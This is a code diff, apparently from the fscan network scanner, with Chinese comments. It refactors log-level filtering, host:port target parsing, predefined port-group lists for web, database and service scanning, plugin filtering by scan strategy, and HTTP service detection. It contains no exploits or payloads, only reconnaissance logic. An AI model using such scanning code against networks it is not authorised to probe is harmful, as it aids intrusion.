// shouldLog 检查是否应该记录该级别的日志
|
// levelAllowMap 预计算的级别允许映射,避免运行时重复计算
|
||||||
|
var levelAllowMap = map[LogLevel]map[LogLevel]bool{
|
||||||
|
LevelAll: {LevelError: true, LevelBase: true, LevelInfo: true, LevelSuccess: true, LevelDebug: true},
|
||||||
|
LevelBaseInfoSuccess: {LevelBase: true, LevelInfo: true, LevelSuccess: true},
|
||||||
|
LevelInfoSuccess: {LevelInfo: true, LevelSuccess: true},
|
||||||
|
LevelError: {LevelError: true},
|
||||||
|
LevelBase: {LevelBase: true},
|
||||||
|
LevelInfo: {LevelInfo: true},
|
||||||
|
LevelSuccess: {LevelSuccess: true},
|
||||||
|
LevelDebug: {LevelDebug: true},
|
||||||
|
}
|
||||||
|
|
||||||
|
// shouldLog 检查是否应该记录该级别的日志(优化版)
|
||||||
func (l *Logger) shouldLog(level LogLevel) bool {
|
func (l *Logger) shouldLog(level LogLevel) bool {
|
||||||
switch l.config.Level {
|
// 快速查表,O(1)复杂度
|
||||||
case LevelAll:
|
if allowedLevels, exists := levelAllowMap[l.config.Level]; exists {
|
||||||
return true
|
return allowedLevels[level]
|
||||||
case LevelBaseInfoSuccess:
|
|
||||||
return level == LevelBase || level == LevelInfo || level == LevelSuccess
|
|
||||||
case LevelInfoSuccess:
|
|
||||||
return level == LevelInfo || level == LevelSuccess
|
|
||||||
case LevelError:
|
|
||||||
return level == LevelError
|
|
||||||
case LevelBase:
|
|
||||||
return level == LevelBase
|
|
||||||
case LevelInfo:
|
|
||||||
return level == LevelInfo
|
|
||||||
case LevelSuccess:
|
|
||||||
return level == LevelSuccess
|
|
||||||
case LevelDebug:
|
|
||||||
return level == LevelDebug
|
|
||||||
default:
|
|
||||||
// 向后兼容:如果是字符串 "debug",显示所有
|
|
||||||
if l.config.Level == "debug" {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
// 默认显示base、info和success
|
|
||||||
return level == LevelBase || level == LevelInfo || level == LevelSuccess
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 向后兼容:字符串"debug"显示所有
|
||||||
|
if l.config.Level == "debug" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 默认策略:显示base、info和success
|
||||||
|
return level == LevelBase || level == LevelInfo || level == LevelSuccess
|
||||||
}
|
}
|
||||||
|
|
||||||
// handleLogEntry 处理日志条目
|
// handleLogEntry 处理日志条目
|
@ -2,6 +2,9 @@ package common
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@ -56,11 +59,11 @@ func NewParser(options *parsers.ParserOptions) *Parser {
|
|||||||
|
|
||||||
// 全局解析器实例
|
// 全局解析器实例
|
||||||
var globalParser *Parser
|
var globalParser *Parser
|
||||||
var initOnce sync.Once
|
var parseOnce sync.Once
|
||||||
|
|
||||||
// getGlobalParser 获取全局解析器实例
|
// getGlobalParser 获取全局解析器实例
|
||||||
func getGlobalParser() *Parser {
|
func getGlobalParser() *Parser {
|
||||||
initOnce.Do(func() {
|
parseOnce.Do(func() {
|
||||||
globalParser = NewParser(nil)
|
globalParser = NewParser(nil)
|
||||||
})
|
})
|
||||||
return globalParser
|
return globalParser
|
||||||
@ -73,6 +76,18 @@ func Parse(Info *HostInfo) error {
|
|||||||
|
|
||||||
parser := getGlobalParser()
|
parser := getGlobalParser()
|
||||||
|
|
||||||
|
// 检查是否为host:port格式,如果是则清空端口字段避免双重扫描
|
||||||
|
ports := Ports
|
||||||
|
if Info.Host != "" && strings.Contains(Info.Host, ":") {
|
||||||
|
if _, portStr, err := net.SplitHostPort(Info.Host); err == nil {
|
||||||
|
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= 1 && port <= 65535 {
|
||||||
|
// 这是有效的host:port格式,清空端口字段和全局变量
|
||||||
|
ports = ""
|
||||||
|
Ports = "" // 也清空全局变量,避免插件适用性检查使用默认端口
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 构建输入参数
|
// 构建输入参数
|
||||||
input := &AllInputs{
|
input := &AllInputs{
|
||||||
Credential: &parsers.CredentialInput{
|
Credential: &parsers.CredentialInput{
|
||||||
@ -91,7 +106,7 @@ func Parse(Info *HostInfo) error {
|
|||||||
Host: Info.Host,
|
Host: Info.Host,
|
||||||
HostsFile: HostsFile,
|
HostsFile: HostsFile,
|
||||||
ExcludeHosts: ExcludeHosts,
|
ExcludeHosts: ExcludeHosts,
|
||||||
Ports: Ports,
|
Ports: ports,
|
||||||
PortsFile: PortsFile,
|
PortsFile: PortsFile,
|
||||||
AddPorts: AddPorts,
|
AddPorts: AddPorts,
|
||||||
ExcludePorts: ExcludePorts,
|
ExcludePorts: ExcludePorts,
|
||||||
@ -131,9 +146,6 @@ func Parse(Info *HostInfo) error {
|
|||||||
// 显示解析结果摘要
|
// 显示解析结果摘要
|
||||||
showParseSummary(result.Config)
|
showParseSummary(result.Config)
|
||||||
|
|
||||||
// 同步配置到core包
|
|
||||||
SyncToCore()
|
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -488,9 +500,7 @@ func applyLogLevel() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
newLogger := logging.NewLogger(config)
|
newLogger := logging.NewLogger(config)
|
||||||
if ProgressBar != nil {
|
// ProgressBar设置已简化
|
||||||
newLogger.SetProgressBar(ProgressBar)
|
|
||||||
}
|
|
||||||
newLogger.SetOutputMutex(&OutputMutex)
|
newLogger.SetOutputMutex(&OutputMutex)
|
||||||
|
|
||||||
// 设置协调输出函数,使用LogWithProgress
|
// 设置协调输出函数,使用LogWithProgress
|
@ -3,8 +3,6 @@ package parsers
|
|||||||
import (
|
import (
|
||||||
"regexp"
|
"regexp"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common/base"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
/*
|
/*
|
||||||
@ -193,19 +191,19 @@ const (
|
|||||||
SamplingMaxHost = 253
|
SamplingMaxHost = 253
|
||||||
)
|
)
|
||||||
|
|
||||||
// GetPortGroups 获取预定义端口组映射(统一的端口组定义)
|
// GetPortGroups 获取预定义端口组映射
|
||||||
func GetPortGroups() map[string]string {
|
func GetPortGroups() map[string]string {
|
||||||
return map[string]string{
|
return map[string]string{
|
||||||
"web": base.WebPorts, // 使用实际的WebPorts常量
|
"web": "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018",
|
||||||
"main": base.MainPorts, // 使用实际的MainPorts常量
|
"main": "21,22,23,25,80,81,110,135,139,143,389,443,445,465,502,587,636,873,993,995,1433,1434,1521,1522,1525,2121,2200,2222,3000,3268,3269,3306,3389,5432,5672,5900,6379,7474,7687,8000,8080,8081,8088,8443,8888,9000,9042,9080,9092,9200,9300,11211,15672,22222,27017,61613,61614",
|
||||||
"db": base.DbPorts, // 使用实际的DbPorts常量
|
"db": "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616",
|
||||||
"service": base.ServicePorts, // 使用实际的ServicePorts常量
|
"service": "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613",
|
||||||
"common": base.CommonPorts, // 使用实际的CommonPorts常量
|
"common": "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986",
|
||||||
"all": base.AllPorts, // 使用实际的AllPorts常量
|
"all": "1-65535",
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetTargetPortGroups 获取目标解析器端口组映射(向后兼容,调用统一函数)
|
// GetTargetPortGroups 获取目标解析器端口组映射(向后兼容)
|
||||||
func GetTargetPortGroups() map[string]string {
|
func GetTargetPortGroups() map[string]string {
|
||||||
return GetPortGroups()
|
return GetPortGroups()
|
||||||
}
|
}
|
@ -136,7 +136,14 @@ func (tp *TargetParser) Parse(input *TargetInput, options *ParserOptions) (*Pars
|
|||||||
// 更新配置
|
// 更新配置
|
||||||
result.Config.Targets.Hosts = hosts
|
result.Config.Targets.Hosts = hosts
|
||||||
result.Config.Targets.URLs = urls
|
result.Config.Targets.URLs = urls
|
||||||
result.Config.Targets.Ports = ports
|
|
||||||
|
// 如果存在明确的host:port组合,则清空端口列表避免双重扫描
|
||||||
|
if len(hostPorts) > 0 {
|
||||||
|
result.Config.Targets.Ports = nil // 清空默认端口,只扫描指定的host:port
|
||||||
|
} else {
|
||||||
|
result.Config.Targets.Ports = ports
|
||||||
|
}
|
||||||
|
|
||||||
result.Config.Targets.ExcludePorts = excludePorts
|
result.Config.Targets.ExcludePorts = excludePorts
|
||||||
result.Config.Targets.HostPorts = hostPorts
|
result.Config.Targets.HostPorts = hostPorts
|
||||||
|
|
||||||
@ -162,11 +169,41 @@ func (tp *TargetParser) parseHosts(input *TargetInput) ([]string, []error, []str
|
|||||||
|
|
||||||
// 解析命令行主机
|
// 解析命令行主机
|
||||||
if input.Host != "" {
|
if input.Host != "" {
|
||||||
hostList, err := tp.parseHostList(input.Host)
|
// 检查是否为host:port格式,直接添加到HostPort避免双重处理
|
||||||
if err != nil {
|
if strings.Contains(input.Host, ":") {
|
||||||
errors = append(errors, NewParseError(ErrorTypeHostError, err.Error(), "command line", 0, err))
|
if _, portStr, err := net.SplitHostPort(input.Host); err == nil {
|
||||||
|
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
|
||||||
|
// 这是有效的host:port格式,直接添加到HostPort
|
||||||
|
input.HostPort = append(input.HostPort, input.Host)
|
||||||
|
// 清空Ports字段,避免解析默认端口
|
||||||
|
input.Ports = ""
|
||||||
|
// 不添加到hosts,避免双重处理
|
||||||
|
} else {
|
||||||
|
// 端口无效,作为普通主机处理
|
||||||
|
hostList, parseErr := tp.parseHostList(input.Host)
|
||||||
|
if parseErr != nil {
|
||||||
|
errors = append(errors, NewParseError(ErrorTypeHostError, parseErr.Error(), "command line", 0, parseErr))
|
||||||
|
} else {
|
||||||
|
hosts = append(hosts, hostList...)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// 不是有效的host:port格式,作为普通主机处理
|
||||||
|
hostList, parseErr := tp.parseHostList(input.Host)
|
||||||
|
if parseErr != nil {
|
||||||
|
errors = append(errors, NewParseError(ErrorTypeHostError, parseErr.Error(), "command line", 0, parseErr))
|
||||||
|
} else {
|
||||||
|
hosts = append(hosts, hostList...)
|
||||||
|
}
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
hosts = append(hosts, hostList...)
|
// 普通主机,正常处理
|
||||||
|
hostList, err := tp.parseHostList(input.Host)
|
||||||
|
if err != nil {
|
||||||
|
errors = append(errors, NewParseError(ErrorTypeHostError, err.Error(), "command line", 0, err))
|
||||||
|
} else {
|
||||||
|
hosts = append(hosts, hostList...)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
10
common/ports.go
Normal file
10
common/ports.go
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
/*
|
||||||
|
ports.go - 端口配置
|
||||||
|
|
||||||
|
端口常量已直接定义在constants.go中,删除base包的间接引用。
|
||||||
|
*/
|
||||||
|
|
||||||
|
// 端口组常量现在直接在constants.go中定义:
|
||||||
|
// WebPorts, MainPorts, DbPorts, ServicePorts, CommonPorts, AllPorts
|
54
common/types.go
Normal file
54
common/types.go
Normal file
@ -0,0 +1,54 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
/*
|
||||||
|
types.go - 核心数据结构
|
||||||
|
|
||||||
|
保留真正使用的数据结构,去掉无用的插件管理器。
|
||||||
|
*/
|
||||||
|
|
||||||
|
// HostInfo 主机信息结构 - 最核心的数据结构
|
||||||
|
type HostInfo struct {
|
||||||
|
Host string // 主机地址
|
||||||
|
Ports string // 端口范围
|
||||||
|
Url string // URL地址
|
||||||
|
Infostr []string // 附加信息
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScanPlugin 扫描插件结构 - 简化版
|
||||||
|
type ScanPlugin struct {
|
||||||
|
Name string // 插件名称
|
||||||
|
Version string // 插件版本
|
||||||
|
Description string // 插件描述
|
||||||
|
Author string // 插件作者
|
||||||
|
Ports []int // 适用端口
|
||||||
|
Types []string // 插件类型标签,一个插件可以有多个类型
|
||||||
|
Priority int // 插件优先级(数字越小优先级越高)
|
||||||
|
Enabled bool // 是否启用
|
||||||
|
ScanFunc func(*HostInfo) error // 扫描函数
|
||||||
|
}
|
||||||
|
|
||||||
|
// HasType 检查插件是否具有指定类型
|
||||||
|
func (p *ScanPlugin) HasType(typeName string) bool {
|
||||||
|
for _, t := range p.Types {
|
||||||
|
if t == typeName {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// HasPort 检查插件是否支持指定端口
|
||||||
|
func (p *ScanPlugin) HasPort(port int) bool {
|
||||||
|
// 如果没有指定端口列表,表示支持所有端口
|
||||||
|
if len(p.Ports) == 0 {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查端口是否在支持列表中
|
||||||
|
for _, supportedPort := range p.Ports {
|
||||||
|
if port == supportedPort {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
@ -51,8 +51,8 @@ func (b *BaseScanStrategy) GetPlugins() ([]string, bool) {
|
|||||||
return validPlugins, true
|
return validPlugins, true
|
||||||
}
|
}
|
||||||
|
|
||||||
// 未指定或使用"all":获取所有插件
|
// 未指定或使用"all":根据策略类型获取对应插件
|
||||||
return plugins.All(), false
|
return b.getPluginsByFilterType(), false
|
||||||
}
|
}
|
||||||
|
|
||||||
// IsPluginApplicable 判断插件是否适用(传统接口兼容)
|
// IsPluginApplicable 判断插件是否适用(传统接口兼容)
|
||||||
@ -88,19 +88,50 @@ func (b *BaseScanStrategy) IsPluginApplicableByName(pluginName string, targetHos
|
|||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
// 本地插件特殊处理:优先检查,避免不必要的端口获取
|
// 应用过滤器类型检查,确保与传统接口逻辑一致
|
||||||
if b.isLocalPlugin(pluginName) {
|
switch b.filterType {
|
||||||
result := b.isLocalPluginExplicitlySpecified(pluginName)
|
case FilterLocal:
|
||||||
common.LogDebug(fmt.Sprintf("本地插件 %s 检查结果: %v (LocalPlugin='%s')", pluginName, result, common.LocalPlugin))
|
// 本地扫描策略:只允许本地插件且必须通过-local参数明确指定
|
||||||
return result
|
if b.isLocalPlugin(pluginName) {
|
||||||
|
result := b.isLocalPluginExplicitlySpecified(pluginName)
|
||||||
|
common.LogDebug(fmt.Sprintf("本地插件 %s 检查结果: %v (LocalPlugin='%s')", pluginName, result, common.LocalPlugin))
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
case FilterService:
|
||||||
|
// 服务扫描策略:排除本地插件,本地插件不应在端口扫描中被调用
|
||||||
|
if b.isLocalPlugin(pluginName) {
|
||||||
|
common.LogDebug(fmt.Sprintf("本地插件 %s 被服务扫描策略过滤(本地插件不应与端口关联)", pluginName))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
case FilterWeb:
|
||||||
|
// Web扫描策略:只允许Web插件
|
||||||
|
if !b.isWebPlugin(pluginName) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
// 无过滤器:允许所有插件类型
|
||||||
|
if b.isLocalPlugin(pluginName) {
|
||||||
|
result := b.isLocalPluginExplicitlySpecified(pluginName)
|
||||||
|
common.LogDebug(fmt.Sprintf("本地插件 %s 检查结果: %v (LocalPlugin='%s')", pluginName, result, common.LocalPlugin))
|
||||||
|
return result
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查插件端口匹配(特殊端口自动调用具体插件)
|
// 检查插件端口匹配(特殊端口自动调用具体插件)
|
||||||
pluginPorts := b.getPluginPorts(pluginName)
|
pluginPorts := b.getPluginPorts(pluginName)
|
||||||
|
|
||||||
// Web插件特殊处理:使用智能HTTP检测
|
// Web插件特殊处理:仅在用户未指定端口范围时才进行智能检测
|
||||||
|
// 如果用户明确指定了端口(如 -p 3306),则只对该端口进行检测,不使用预定义端口列表
|
||||||
if len(pluginPorts) == 0 && b.isWebPlugin(pluginName) {
|
if len(pluginPorts) == 0 && b.isWebPlugin(pluginName) {
|
||||||
return b.isWebServicePort(targetHost, targetPort)
|
// 检查用户是否指定了具体端口范围
|
||||||
|
if common.Ports != "" && common.Ports != "all" {
|
||||||
|
// 用户指定了端口,进行实际HTTP协议检测而不是预定义端口匹配
|
||||||
|
return b.isWebServicePortByProtocol(targetHost, targetPort)
|
||||||
|
} else {
|
||||||
|
// 用户未指定端口,使用智能检测(包含预定义端口)
|
||||||
|
return b.isWebServicePort(targetHost, targetPort)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 无端口限制的其他插件适用于所有端口
|
// 无端口限制的其他插件适用于所有端口
|
||||||
@ -161,13 +192,21 @@ func (b *BaseScanStrategy) isLocalPlugin(pluginName string) bool {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
// isWebServicePort 使用智能检测判断端口是否运行Web服务
|
// isWebServicePort 使用智能检测判断端口是否运行Web服务(含预定义端口)
|
||||||
func (b *BaseScanStrategy) isWebServicePort(host string, port int) bool {
|
func (b *BaseScanStrategy) isWebServicePort(host string, port int) bool {
|
||||||
// 创建Web端口检测器实例
|
// 使用全局单例Web端口检测器
|
||||||
detector := NewWebPortDetector()
|
detector := GetWebPortDetector()
|
||||||
return detector.IsWebService(host, port)
|
return detector.IsWebService(host, port)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// isWebServicePortByProtocol 仅通过HTTP协议检测判断端口是否运行Web服务(不使用预定义端口列表)
|
||||||
|
func (b *BaseScanStrategy) isWebServicePortByProtocol(host string, port int) bool {
|
||||||
|
// 使用全局单例Web端口检测器
|
||||||
|
detector := GetWebPortDetector()
|
||||||
|
// 直接调用协议检测,跳过预定义端口检查
|
||||||
|
return detector.DetectHTTPServiceOnly(host, port)
|
||||||
|
}
|
||||||
|
|
||||||
// isLocalPluginExplicitlySpecified 检查本地插件是否明确通过-local参数指定
|
// isLocalPluginExplicitlySpecified 检查本地插件是否明确通过-local参数指定
|
||||||
func (b *BaseScanStrategy) isLocalPluginExplicitlySpecified(pluginName string) bool {
|
func (b *BaseScanStrategy) isLocalPluginExplicitlySpecified(pluginName string) bool {
|
||||||
// 只有通过-local参数明确指定的单个插件才能调用
|
// 只有通过-local参数明确指定的单个插件才能调用
|
||||||
@ -259,6 +298,41 @@ func (b *BaseScanStrategy) LogScanStart() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// getPluginsByFilterType 根据过滤器类型获取插件列表
|
||||||
|
func (b *BaseScanStrategy) getPluginsByFilterType() []string {
|
||||||
|
allPlugins := plugins.All()
|
||||||
|
var filteredPlugins []string
|
||||||
|
|
||||||
|
switch b.filterType {
|
||||||
|
case FilterLocal:
|
||||||
|
// 本地扫描策略:只返回本地插件
|
||||||
|
for _, pluginName := range allPlugins {
|
||||||
|
if b.isLocalPlugin(pluginName) {
|
||||||
|
filteredPlugins = append(filteredPlugins, pluginName)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case FilterService:
|
||||||
|
// 服务扫描策略:排除本地插件和纯Web插件,保留服务插件
|
||||||
|
for _, pluginName := range allPlugins {
|
||||||
|
if !b.isLocalPlugin(pluginName) {
|
||||||
|
filteredPlugins = append(filteredPlugins, pluginName)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case FilterWeb:
|
||||||
|
// Web扫描策略:只返回Web插件
|
||||||
|
for _, pluginName := range allPlugins {
|
||||||
|
if b.isWebPlugin(pluginName) {
|
||||||
|
filteredPlugins = append(filteredPlugins, pluginName)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
// 无过滤器:返回所有插件
|
||||||
|
filteredPlugins = allPlugins
|
||||||
|
}
|
||||||
|
|
||||||
|
return filteredPlugins
|
||||||
|
}
|
||||||
|
|
||||||
// parsePluginList 解析插件列表字符串
|
// parsePluginList 解析插件列表字符串
|
||||||
func parsePluginList(pluginStr string) []string {
|
func parsePluginList(pluginStr string) []string {
|
||||||
if pluginStr == "" {
|
if pluginStr == "" {
|
||||||
|
@ -6,8 +6,6 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"regexp"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
@ -27,59 +25,34 @@ type WebPortDetector struct {
|
|||||||
httpsClient *http.Client
|
httpsClient *http.Client
|
||||||
// 检测结果缓存(避免重复检测)
|
// 检测结果缓存(避免重复检测)
|
||||||
detectionCache map[string]bool
|
detectionCache map[string]bool
|
||||||
|
// 协议检测缓存(避免重复TCP连接)
|
||||||
|
protocolCache map[string]bool
|
||||||
// 缓存互斥锁
|
// 缓存互斥锁
|
||||||
cacheMutex sync.RWMutex
|
cacheMutex sync.RWMutex
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewWebPortDetector 创建Web端口检测器
|
var (
|
||||||
func NewWebPortDetector() *WebPortDetector {
|
// 全局单例实例
|
||||||
|
webDetectorInstance *WebPortDetector
|
||||||
|
webDetectorOnce sync.Once
|
||||||
|
)
|
||||||
|
|
||||||
|
// GetWebPortDetector 获取Web端口检测器单例
|
||||||
|
func GetWebPortDetector() *WebPortDetector {
|
||||||
|
webDetectorOnce.Do(func() {
|
||||||
|
webDetectorInstance = newWebPortDetector()
|
||||||
|
})
|
||||||
|
return webDetectorInstance
|
||||||
|
}
|
||||||
|
|
||||||
|
// newWebPortDetector 创建Web端口检测器(私有方法)
|
||||||
|
func newWebPortDetector() *WebPortDetector {
|
||||||
timeout := 3 * time.Second
|
timeout := 3 * time.Second
|
||||||
|
|
||||||
// 定义常见Web端口(扩展列表)
|
// 只保留最基本的Web端口用于快速路径优化
|
||||||
commonPorts := map[int]bool{
|
commonPorts := map[int]bool{
|
||||||
// 标准Web端口
|
80: true, // HTTP
|
||||||
80: true, // HTTP
|
443: true, // HTTPS
|
||||||
443: true, // HTTPS
|
|
||||||
8080: true, // HTTP alternate
|
|
||||||
8443: true, // HTTPS alternate
|
|
||||||
|
|
||||||
// 开发服务器端口
|
|
||||||
3000: true, // Node.js dev server
|
|
||||||
4000: true, // Ruby dev server
|
|
||||||
5000: true, // Python dev server
|
|
||||||
8000: true, // Development server
|
|
||||||
8888: true, // Common dev port
|
|
||||||
9000: true, // Common dev port
|
|
||||||
9090: true, // Common dev port
|
|
||||||
|
|
||||||
// Web服务器alternate端口
|
|
||||||
8081: true, 8082: true, 8083: true, 8084: true, 8085: true,
|
|
||||||
8086: true, 8087: true, 8088: true, 8089: true,
|
|
||||||
|
|
||||||
// 企业级Web端口
|
|
||||||
9080: true, // WebSphere
|
|
||||||
9443: true, // WebSphere SSL
|
|
||||||
7001: true, // WebLogic
|
|
||||||
7002: true, // WebLogic SSL
|
|
||||||
|
|
||||||
// 应用服务器端口
|
|
||||||
8180: true, // Tomcat alternate
|
|
||||||
8181: true, // Tomcat alternate
|
|
||||||
8282: true, // Common alternate
|
|
||||||
8383: true, // Common alternate
|
|
||||||
8484: true, // Common alternate
|
|
||||||
8585: true, // Common alternate
|
|
||||||
|
|
||||||
// 代理和负载均衡端口
|
|
||||||
3128: true, // Squid proxy
|
|
||||||
8008: true, // HTTP proxy
|
|
||||||
8118: true, // Privoxy
|
|
||||||
|
|
||||||
// 监控和管理界面
|
|
||||||
9200: true, // Elasticsearch
|
|
||||||
5601: true, // Kibana
|
|
||||||
3001: true, // Grafana alternate
|
|
||||||
9091: true, // Prometheus
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 创建HTTP客户端
|
// 创建HTTP客户端
|
||||||
@ -125,6 +98,7 @@ func NewWebPortDetector() *WebPortDetector {
|
|||||||
httpClient: httpClient,
|
httpClient: httpClient,
|
||||||
httpsClient: httpsClient,
|
httpsClient: httpsClient,
|
||||||
detectionCache: make(map[string]bool),
|
detectionCache: make(map[string]bool),
|
||||||
|
protocolCache: make(map[string]bool),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -159,6 +133,28 @@ func (w *WebPortDetector) IsWebService(host string, port int) bool {
|
|||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// DetectHTTPServiceOnly 仅通过HTTP协议检测端口,不使用预定义端口列表
|
||||||
|
func (w *WebPortDetector) DetectHTTPServiceOnly(host string, port int) bool {
|
||||||
|
// 缓存检查:避免重复检测同一端口
|
||||||
|
cacheKey := fmt.Sprintf("%s:%d", host, port)
|
||||||
|
w.cacheMutex.RLock()
|
||||||
|
if cached, exists := w.detectionCache[cacheKey]; exists {
|
||||||
|
w.cacheMutex.RUnlock()
|
||||||
|
return cached
|
||||||
|
}
|
||||||
|
w.cacheMutex.RUnlock()
|
||||||
|
|
||||||
|
// 跳过预定义端口检查,直接进行协议探测
|
||||||
|
result := w.detectHTTPService(host, port)
|
||||||
|
|
||||||
|
// 缓存结果
|
||||||
|
w.cacheMutex.Lock()
|
||||||
|
w.detectionCache[cacheKey] = result
|
||||||
|
w.cacheMutex.Unlock()
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
// IsCommonWebPort 检查是否为常见Web端口
|
// IsCommonWebPort 检查是否为常见Web端口
|
||||||
func (w *WebPortDetector) IsCommonWebPort(port int) bool {
|
func (w *WebPortDetector) IsCommonWebPort(port int) bool {
|
||||||
return w.commonWebPorts[port]
|
return w.commonWebPorts[port]
|
||||||
@ -170,18 +166,23 @@ func (w *WebPortDetector) detectHTTPService(host string, port int) bool {
|
|||||||
ctx, cancel := context.WithTimeout(context.Background(), w.httpTimeout)
|
ctx, cancel := context.WithTimeout(context.Background(), w.httpTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
|
// 先进行一次协议预检查,避免重复检测
|
||||||
|
if !w.quickProtocolCheck(ctx, host, port) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
// 并发检测HTTP和HTTPS
|
// 并发检测HTTP和HTTPS
|
||||||
httpChan := make(chan bool, 1)
|
httpChan := make(chan bool, 1)
|
||||||
httpsChan := make(chan bool, 1)
|
httpsChan := make(chan bool, 1)
|
||||||
|
|
||||||
// 检测HTTP
|
// 检测HTTP(跳过协议检查,因为已经检查过了)
|
||||||
go func() {
|
go func() {
|
||||||
httpChan <- w.tryHTTPConnection(ctx, host, port, "http")
|
httpChan <- w.tryHTTPConnectionDirect(ctx, host, port, "http")
|
||||||
}()
|
}()
|
||||||
|
|
||||||
// 检测HTTPS(对于高端口常见)
|
// 检测HTTPS(跳过协议检查,因为已经检查过了)
|
||||||
go func() {
|
go func() {
|
||||||
httpsChan <- w.tryHTTPConnection(ctx, host, port, "https")
|
httpsChan <- w.tryHTTPConnectionDirect(ctx, host, port, "https")
|
||||||
}()
|
}()
|
||||||
|
|
||||||
// 等待任一协议检测成功
|
// 等待任一协议检测成功
|
||||||
@ -208,8 +209,18 @@ func (w *WebPortDetector) detectHTTPService(host string, port int) bool {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
// tryHTTPConnection 尝试HTTP连接
|
// tryHTTPConnection 尝试HTTP连接(带协议检查)
|
||||||
func (w *WebPortDetector) tryHTTPConnection(ctx context.Context, host string, port int, protocol string) bool {
|
func (w *WebPortDetector) tryHTTPConnection(ctx context.Context, host string, port int, protocol string) bool {
|
||||||
|
// 先进行简单的协议嗅探,避免向非HTTP服务发送HTTP请求
|
||||||
|
if !w.quickProtocolCheck(ctx, host, port) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
return w.tryHTTPConnectionDirect(ctx, host, port, protocol)
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryHTTPConnectionDirect 直接尝试HTTP连接(跳过协议检查)
|
||||||
|
